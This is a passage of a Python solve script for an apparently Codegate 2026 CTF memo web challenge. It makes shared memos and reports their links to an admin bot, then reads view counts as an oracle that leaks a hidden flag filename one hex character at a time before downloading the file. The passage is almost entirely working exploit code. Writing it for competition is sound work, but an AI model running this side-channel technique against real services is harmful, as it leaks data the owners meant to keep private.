None ) if not memo: print (f" [!] Failed to create memo for '{candidate} '" ) continue resp = ss.post(f"{TARGET} /api/memo/{memo['_id' ]} /share" ).json() key = resp.get("data" , {}).get("sharedKey" ) if not key: print (f" [!] Failed to share memo for '{candidate} '" ) continue requests.post(f"{BOT_URL} /report" , json={ "url" : f"{BOT_TARGET} /memo/shared?key={key} " }) candidates.append({"char" : ch, "key" : key, "candidate" : candidate}) time.sleep(0.15 ) print (f" Reported {len (candidates)} candidates, waiting {BOT_WAIT} s..." ) time.sleep(BOT_WAIT) for c in candidates: views = ss.get(f"{TARGET} /api/memo/shared/{c['key' ]} " ).json().get("data" , {}).get("views" , 0 ) if views > 0 : return c["char" ] return None def solve (): prefix = "flag_" print (f"[*] Starting from prefix: '{prefix} '" ) print (f"[*] Need to discover 16 hex chars" ) print (f"[*] Charset: {HEX_CHARS} ({len (HEX_CHARS)} chars)" ) print (f"[*] Estimated time: ~{16 * (BOT_WAIT + 10 ) // 60 } minutes\n" ) for pos in range (16 ): print (f"\n[Position {pos+1 } /16] prefix='{prefix} '" ) ch = test_batch(prefix, HEX_CHARS) if ch: prefix += ch print (f" [+] Found: '{ch} ' → '{prefix} '" ) else : print (f" [!] No match found at position {pos+1 } " ) print (f" [*] Retrying..." ) ch = test_batch(prefix, HEX_CHARS) if ch: prefix += ch print (f" [+] Found on retry: '{ch} ' → '{prefix} '" ) else : print (f" [!] Failed at position {pos+1 } . Partial: '{prefix} '" ) break filename = prefix + ".png" print (f"\n{'=' *60 } " ) print (f"[+] Discovered filename: {filename} " ) print (f"{'=' *60 } " ) print (f"\n[*] Downloading: {TARGET} /api/image?filename={filename} " ) r = requests.get(f"{TARGET} /api/image?filename={filename} " , verify=False , timeout=10 ) if r.status_code == 200 and len (r.content) > 100 : path = f"/home/whale/ctf/codegate/2026/memo/{filename} " with open (path, "wb" ) as f: f.write(r.content) print (f"[+] Flag saved: {path} ({len (r.content)} bytes)" ) else : print (f"[!] Download failed: {r.status_code} " ) return filename if __name__ == "__main__" : if "--from" in sys.argv: idx = sys.argv.index("--from" ) known = sys.argv[idx + 1 ] prefix = known remaining = 16 - (len (prefix) - len ("flag_" )) print (f"[*] Resuming from '{prefix} ', {remaining} chars remaining" ) for pos in range (remaining): print (f"\n[Position {len (prefix)-5 +1 } /16] prefix='{prefix} '" ) ch = test_batch(prefix, HEX_CHARS) if ch: prefix += ch print (f" [+] Found: '{ch} ' → '{prefix} '" ) else : print (f" [!] No match. Retrying..." ) ch = test_batch(prefix, HEX_CHARS) if ch: prefix += ch print (f" [+] Retry found: '{ch} ' → '{prefix} '" ) else : print (f" [!] Stuck at '{prefix} '" ) break filename = prefix + ".png" print (f"\n[+] Filename: {filename} " ) r = requests.get(f"{TARGET} /api/image?filename={filename} " , verify=False , timeout=10 ) if r.status_code == 200 and len (r.content) > 100 : path = f"/home/whale/ctf/codegate/2026/memo/{filename} " with open (path, "wb" ) as f: f.write(r.content) print (f"[+] Flag saved: {path} ({len (r.content)} bytes)" ) else : solve()